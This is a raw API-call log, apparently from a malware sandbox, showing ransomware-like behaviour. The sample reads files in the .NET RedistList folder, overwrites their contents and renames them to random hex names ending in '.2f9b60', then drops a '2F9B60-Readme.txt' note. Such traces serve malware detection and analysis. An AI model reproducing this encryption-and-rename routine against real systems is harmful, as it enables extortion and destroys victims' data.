[0091.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0091.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0x1b863960 [0091.722] sprintf (in: _Dest=0x1b863960, _Format="%c%c" | out: _Dest="40") returned 2 [0091.722] sprintf (in: _Dest=0x1b863962, _Format="%c%c" | out: _Dest="33") returned 2 [0091.722] sprintf (in: _Dest=0x1b863964, _Format="%c%c" | out: _Dest="be") returned 2 [0091.722] sprintf (in: _Dest=0x1b863966, _Format="%c%c" | out: _Dest="5e") returned 2 [0091.722] sprintf (in: _Dest=0x1b863968, _Format="%c%c" | out: _Dest="52") returned 2 [0091.722] sprintf (in: _Dest=0x1b86396a, _Format="%c%c" | out: _Dest="8a") returned 2 [0091.722] sprintf (in: _Dest=0x1b86396c, _Format="%c%c" | out: _Dest="da") returned 2 [0091.722] sprintf (in: _Dest=0x1b86396e, _Format="%c%c" | out: _Dest="26") returned 2 [0091.722] sprintf (in: _Dest=0x1b863970, _Format="%c%c" | out: _Dest="21") returned 2 [0091.722] sprintf (in: _Dest=0x1b863972, _Format="%c%c" | out: _Dest="c3") returned 2 [0091.722] sprintf (in: _Dest=0x1b863974, _Format="%c%c" | out: _Dest="20") returned 2 [0091.722] sprintf (in: _Dest=0x1b863976, _Format="%c%c" | out: _Dest="6b") returned 2 [0091.723] sprintf (in: _Dest=0x1b863978, _Format="%c%c" | out: _Dest="f2") returned 2 [0091.723] sprintf (in: _Dest=0x1b86397a, _Format="%c%c" | out: _Dest="bc") returned 2 [0091.723] sprintf (in: _Dest=0x1b86397c, _Format="%c%c" | out: _Dest="7a") returned 2 [0091.723] sprintf (in: _Dest=0x1b86397e, _Format="%c%c" | out: _Dest="2d") returned 2 [0091.723] sprintf (in: _Dest=0x1b863980, _Format="%c%c" | out: _Dest="d3") returned 2 [0091.723] sprintf (in: _Dest=0x1b863982, _Format="%c%c" | out: _Dest="65") returned 2 [0091.723] sprintf (in: _Dest=0x1b863984, _Format="%c%c" | out: _Dest="ef") returned 2 [0091.723] sprintf (in: _Dest=0x1b863986, _Format="%c%c" | out: _Dest="36") returned 2 [0091.723] sprintf (in: _Dest=0x1b863988, _Format="%c%c" | out: _Dest="10") returned 2 [0091.723] sprintf (in: _Dest=0x1b86398a, _Format="%c%c" | out: _Dest="5f") returned 2 [0091.723] sprintf (in: _Dest=0x1b86398c, _Format="%c%c" | out: _Dest="cd") returned 2 [0091.723] sprintf (in: _Dest=0x1b86398e, _Format="%c%c" | out: _Dest="96") returned 2 [0091.723] sprintf (in: _Dest=0x1b863990, _Format="%c%c" | out: _Dest="8d") returned 2 [0091.723] sprintf (in: _Dest=0x1b863992, _Format="%c%c" | out: _Dest="2e") returned 2 [0091.723] sprintf (in: _Dest=0x1b863994, _Format="%c%c" | out: _Dest="ba") returned 2 [0091.723] sprintf (in: _Dest=0x1b863996, _Format="%c%c" | out: _Dest="7d") returned 2 [0091.723] sprintf (in: _Dest=0x1b863998, _Format="%c%c" | out: _Dest="55") returned 2 [0091.723] sprintf (in: _Dest=0x1b86399a, _Format="%c%c" | out: _Dest="df") returned 2 [0091.723] sprintf (in: _Dest=0x1b86399c, _Format="%c%c" | out: _Dest="fc") returned 2 [0091.723] sprintf (in: _Dest=0x1b86399e, _Format="%c%c" | out: _Dest="6b") returned 2 [0091.723] sprintf (in: _Dest=0x1b8639a0, _Format="%c%c" | out: _Dest="f6") returned 2 [0091.723] sprintf (in: _Dest=0x1b8639a2, _Format="%c%c" | out: _Dest="2f") returned 2 [0091.723] sprintf (in: _Dest=0x1b8639a4, _Format="%c%c" | out: _Dest="aa") returned 2 [0091.723] sprintf (in: _Dest=0x1b8639a6, _Format="%c%c" | out: _Dest="4f") returned 2 [0091.723] sprintf (in: _Dest=0x1b8639a8, _Format="%c%c" | out: _Dest="42") returned 2 [0091.723] sprintf (in: _Dest=0x1b8639aa, _Format="%c%c" | out: _Dest="1c") returned 2 [0091.723] sprintf (in: _Dest=0x1b8639ac, _Format="%c%c" | out: _Dest="78") returned 2 [0091.723] sprintf (in: _Dest=0x1b8639ae, _Format="%c%c" | out: _Dest="ea") returned 2 [0091.723] sprintf (in: _Dest=0x1b8639b0, _Format="%c%c" | out: _Dest="84") returned 2 [0091.723] sprintf (in: _Dest=0x1b8639b2, _Format="%c%c" | out: _Dest="51") returned 2 [0091.723] sprintf (in: _Dest=0x1b8639b4, _Format="%c%c" | out: _Dest="75") returned 2 [0091.723] sprintf (in: _Dest=0x1b8639b6, _Format="%c%c" | out: _Dest="a4") returned 2 [0091.724] sprintf (in: _Dest=0x1b8639b8, _Format="%c%c" | out: _Dest="a3") returned 2 [0091.724] sprintf (in: _Dest=0x1b8639ba, _Format="%c%c" | out: _Dest="23") returned 2 [0091.724] sprintf (in: _Dest=0x1b8639bc, _Format="%c%c" | out: _Dest="be") returned 2 [0091.724] sprintf (in: _Dest=0x1b8639be, _Format="%c%c" | out: _Dest="b1") returned 2 [0091.724] sprintf (in: _Dest=0x1b8639c0, _Format="%c%c" | out: _Dest="59") returned 2 [0091.724] sprintf (in: _Dest=0x1b8639c2, _Format="%c%c" | out: _Dest="fb") returned 2 [0091.724] RtlInitAnsiString (in: DestinationString=0x1e01fd68, SourceString="4033be5e528ada2621c3206bf2bc7a2dd365ef36105fcd968d2eba7d55dffc6bf62faa4f421c78ea845175a4a323beb159fb" | out: DestinationString="4033be5e528ada2621c3206bf2bc7a2dd365ef36105fcd968d2eba7d55dffc6bf62faa4f421c78ea845175a4a323beb159fb") [0091.724] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e01fd38, SourceString="4033be5e528ada2621c3206bf2bc7a2dd365ef36105fcd968d2eba7d55dffc6bf62faa4f421c78ea845175a4a323beb159fb", AllocateDestinationString=1 | out: DestinationString="4033be5e528ada2621c3206bf2bc7a2dd365ef36105fcd968d2eba7d55dffc6bf62faa4f421c78ea845175a4a323beb159fb") returned 0x0 [0091.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776690 [0091.724] wcscat (in: _Dest=0x1ce11340, _Source="4033be5e528ada2621c3206bf" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\4033be5e528ada2621c3206bf") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\4033be5e528ada2621c3206bf" [0091.724] wcscat (in: _Dest=0x1ce11340, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\4033be5e528ada2621c3206bf.2f9b60") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\4033be5e528ada2621c3206bf.2f9b60" [0091.724] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\4033be5e528ada2621c3206bf.2f9b60", NtPathName=0x1e01fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\4033be5e528ada2621c3206bf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0091.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x118470 [0091.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118470) returned 1 [0091.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0091.768] NtQueryInformationFile (in: FileHandle=0xd58, IoStatusBlock=0x1e01fd78, FileInformation=0x1e01fd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e01fd78, FileInformation=0x1e01fd88) returned 0x0 [0091.768] NtSetInformationFile (FileHandle=0xd58, IoStatusBlock=0x1e01fd78, FileInformation=0x1e01fd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0091.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11340) returned 1 [0091.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0091.786] FlushFileBuffers (hFile=0xd58) returned 1 [0091.790] CloseHandle (hObject=0xd58) returned 1 [0091.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1cf4d9b0 [0091.808] wcscpy (in: _Dest=0x1cf4d9b0, _Source="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0091.808] wcscat (in: _Dest=0x1cf4d9b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\2F9B60-Readme.txt" [0091.808] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\2f9b60-readme.txt")) returned 0xffffffff [0091.808] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdac [0091.821] WriteFile (in: hFile=0xdac, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1e01fc30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1e01fc30*=0xba9, lpOverlapped=0x0) returned 1 [0091.850] CloseHandle (hObject=0xdac) returned 1 [0091.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d9b0) returned 1 [0091.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 Thread: id = 438 os_tid = 0xb54 [0091.316] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml")) returned 0x20 [0091.316] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml", dwFileAttributes=0x20) returned 1 [0091.317] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd5c [0091.317] GetFileSizeEx (in: hFile=0xd5c, lpFileSize=0x1d87fb00 | out: lpFileSize=0x1d87fb00*=8220) returned 1 [0091.317] SetFilePointerEx (in: hFile=0xd5c, liDistanceToMove=0x2018, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.317] ReadFile (in: hFile=0xd5c, lpBuffer=0x1d87fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d87fac8, lpOverlapped=0x0 | out: lpBuffer=0x1d87fa80*, lpNumberOfBytesRead=0x1d87fac8*=0x4, lpOverlapped=0x0) returned 1 [0091.471] SetFilePointerEx (in: hFile=0xd5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78c0 [0091.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78f0 [0091.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7920 [0091.471] NtQuerySystemTime (in: CurrentTime=0x1d87f9c0 | out: CurrentTime=0x1d87f9c0*=132462176973202000) returned 0x0 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x7c1d2698 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x2baee22f [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x43e6f770 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x3dc0326d [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x722621c3 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x3cfce064 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x4209a375 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x1ab11e66 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x2976ab1a [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x3c15a2bc [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x30ea926 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x848c802 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x56eca03 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x34159b02 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x6d032f9b [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x71e96148 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x2dee943e [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x27531dcb [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x2577e961 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x2280f874 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x2ccb8d8f [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0xf6b218d [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x46968996 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x27e4ef59 [0091.471] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x1f8bdc94 [0091.472] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x5ca503a1 [0091.472] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x43e6f770 [0091.472] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x287c7411 [0091.472] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x5d9196ec [0091.472] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x848c802 [0091.472] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x14a5d33 [0091.472] RtlRandomEx (in: Seed=0x1d87f9b0 | out: Seed=0x1d87f9b0) returned 0x5c3d6ec2 [0091.481] ReadFile (in: hFile=0xd5c, lpBuffer=0x201a2d00, nNumberOfBytesToRead=0x201c, lpNumberOfBytesRead=0x1d87f9b0, lpOverlapped=0x0 | out: lpBuffer=0x201a2d00*, lpNumberOfBytesRead=0x1d87f9b0*=0x201c, lpOverlapped=0x0) returned 1 [0091.510] SetFilePointerEx (in: hFile=0xd5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.510] WriteFile (in: hFile=0xd5c, lpBuffer=0x201a6910*, nNumberOfBytesToWrite=0x201c, lpNumberOfBytesWritten=0x1d87f9b4, lpOverlapped=0x0 | out: lpBuffer=0x201a6910*, lpNumberOfBytesWritten=0x1d87f9b4*=0x201c, lpOverlapped=0x0) returned 1 [0091.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f80 [0091.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0091.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fb0) returned 1 [0091.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a6910) returned 1 [0091.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a2d00) returned 1 [0091.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec10) returned 1 [0091.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0091.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82c030 [0091.702] SetFilePointerEx (in: hFile=0xd5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0091.703] WriteFile (in: hFile=0xd5c, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x1d87fad0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x1d87fad0*=0x128, lpOverlapped=0x0) returned 1 [0091.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0091.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0091.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0091.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0091.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f5f0 [0091.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0091.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0091.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0091.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0091.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0091.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6d) returned 0x1b85ec90 [0091.727] sprintf (in: _Dest=0x1b85ec90, _Format="%c%c" | out: _Dest="42") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ec92, _Format="%c%c" | out: _Dest="69") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ec94, _Format="%c%c" | out: _Dest="cb") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ec96, _Format="%c%c" | out: _Dest="23") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ec98, _Format="%c%c" | out: _Dest="81") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ec9a, _Format="%c%c" | out: _Dest="dc") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ec9c, _Format="%c%c" | out: _Dest="26") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ec9e, _Format="%c%c" | out: _Dest="7c") returned 2 [0091.727] sprintf (in: _Dest=0x1b85eca0, _Format="%c%c" | out: _Dest="3d") returned 2 [0091.727] sprintf (in: _Dest=0x1b85eca2, _Format="%c%c" | out: _Dest="38") returned 2 [0091.727] sprintf (in: _Dest=0x1b85eca4, _Format="%c%c" | out: _Dest="4e") returned 2 [0091.727] sprintf (in: _Dest=0x1b85eca6, _Format="%c%c" | out: _Dest="00") returned 2 [0091.727] sprintf (in: _Dest=0x1b85eca8, _Format="%c%c" | out: _Dest="d0") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ecaa, _Format="%c%c" | out: _Dest="ed") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ecac, _Format="%c%c" | out: _Dest="f7") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ecae, _Format="%c%c" | out: _Dest="d1") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ecb0, _Format="%c%c" | out: _Dest="e9") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ecb2, _Format="%c%c" | out: _Dest="79") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ecb4, _Format="%c%c" | out: _Dest="c3") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ecb6, _Format="%c%c" | out: _Dest="dc") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ecb8, _Format="%c%c" | out: _Dest="d4") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ecba, _Format="%c%c" | out: _Dest="d1") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ecbc, _Format="%c%c" | out: _Dest="b8") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ecbe, _Format="%c%c" | out: _Dest="4d") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ecc0, _Format="%c%c" | out: _Dest="f4") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ecc2, _Format="%c%c" | out: _Dest="d4") returned 2 [0091.727] sprintf (in: _Dest=0x1b85ecc4, _Format="%c%c" | out: _Dest="87") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecc6, _Format="%c%c" | out: _Dest="0c") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecc8, _Format="%c%c" | out: _Dest="ea") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecca, _Format="%c%c" | out: _Dest="23") returned 2 [0091.728] sprintf (in: _Dest=0x1b85eccc, _Format="%c%c" | out: _Dest="eb") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecce, _Format="%c%c" | out: _Dest="86") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecd0, _Format="%c%c" | out: _Dest="c9") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecd2, _Format="%c%c" | out: _Dest="7b") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecd4, _Format="%c%c" | out: _Dest="60") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecd6, _Format="%c%c" | out: _Dest="8b") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecd8, _Format="%c%c" | out: _Dest="73") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecda, _Format="%c%c" | out: _Dest="0d") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecdc, _Format="%c%c" | out: _Dest="41") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecde, _Format="%c%c" | out: _Dest="08") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ece0, _Format="%c%c" | out: _Dest="77") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ece2, _Format="%c%c" | out: _Dest="15") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ece4, _Format="%c%c" | out: _Dest="8e") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ece6, _Format="%c%c" | out: _Dest="7e") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ece8, _Format="%c%c" | out: _Dest="a8") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecea, _Format="%c%c" | out: _Dest="bd") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecec, _Format="%c%c" | out: _Dest="f6") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecee, _Format="%c%c" | out: _Dest="06") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecf0, _Format="%c%c" | out: _Dest="40") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecf2, _Format="%c%c" | out: _Dest="2c") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecf4, _Format="%c%c" | out: _Dest="e9") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecf6, _Format="%c%c" | out: _Dest="22") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecf8, _Format="%c%c" | out: _Dest="17") returned 2 [0091.728] sprintf (in: _Dest=0x1b85ecfa, _Format="%c%c" | out: _Dest="f4") returned 2 [0091.728] RtlInitAnsiString (in: DestinationString=0x1d87fb48, SourceString="4269cb2381dc267c3d384e00d0edf7d1e979c3dcd4d1b84df4d4870cea23eb86c97b608b730d410877158e7ea8bdf606402ce92217f4" | out: DestinationString="4269cb2381dc267c3d384e00d0edf7d1e979c3dcd4d1b84df4d4870cea23eb86c97b608b730d410877158e7ea8bdf606402ce92217f4") [0091.729] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d87fb18, SourceString="4269cb2381dc267c3d384e00d0edf7d1e979c3dcd4d1b84df4d4870cea23eb86c97b608b730d410877158e7ea8bdf606402ce92217f4", AllocateDestinationString=1 | out: DestinationString="4269cb2381dc267c3d384e00d0edf7d1e979c3dcd4d1b84df4d4870cea23eb86c97b608b730d410877158e7ea8bdf606402ce92217f4") returned 0x0 [0091.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b7997f0 [0091.729] wcscat (in: _Dest=0x1ce113f0, _Source="4269cb2381dc267c3d384e00d0e" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\4269cb2381dc267c3d384e00d0e") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\4269cb2381dc267c3d384e00d0e" [0091.729] wcscat (in: _Dest=0x1ce113f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\4269cb2381dc267c3d384e00d0e.2f9b60") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\4269cb2381dc267c3d384e00d0e.2f9b60" [0091.729] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\4269cb2381dc267c3d384e00d0e.2f9b60", NtPathName=0x1d87faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\4269cb2381dc267c3d384e00d0e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0091.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x118610 [0091.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0091.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0091.898] NtQueryInformationFile (in: FileHandle=0xd5c, IoStatusBlock=0x1d87fb58, FileInformation=0x1d87fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d87fb58, FileInformation=0x1d87fb68) returned 0x0 [0091.898] NtSetInformationFile (FileHandle=0xd5c, IoStatusBlock=0x1d87fb58, FileInformation=0x1d87fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0091.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce113f0) returned 1 [0091.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7997f0) returned 1 [0091.900] FlushFileBuffers (hFile=0xd5c) returned 1 [0091.902] CloseHandle (hObject=0xd5c) returned 1 [0091.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1cf4d9b0 [0091.903] wcscpy (in: _Dest=0x1cf4d9b0, _Source="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0091.903] wcscat (in: _Dest=0x1cf4d9b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\2F9B60-Readme.txt" [0091.903] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\2f9b60-readme.txt")) returned 0x20 [0091.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d9b0) returned 1 [0091.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 Thread: id = 439 os_tid = 0xa08 [0091.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1cf4d800 [0091.320] wcscpy (in: _Dest=0x1cf4d800, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" 